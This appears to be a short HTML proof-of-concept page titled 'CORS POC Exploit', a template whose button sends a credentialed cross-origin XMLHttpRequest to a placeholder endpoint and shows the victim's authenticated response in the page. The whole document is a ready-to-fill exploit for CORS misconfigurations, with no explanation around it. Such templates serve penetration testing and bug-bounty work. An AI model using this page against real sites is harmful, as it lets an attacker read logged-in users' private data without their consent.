Untitled

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "YOUR_ENDPOINT GOES HERE", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

</body>
</html>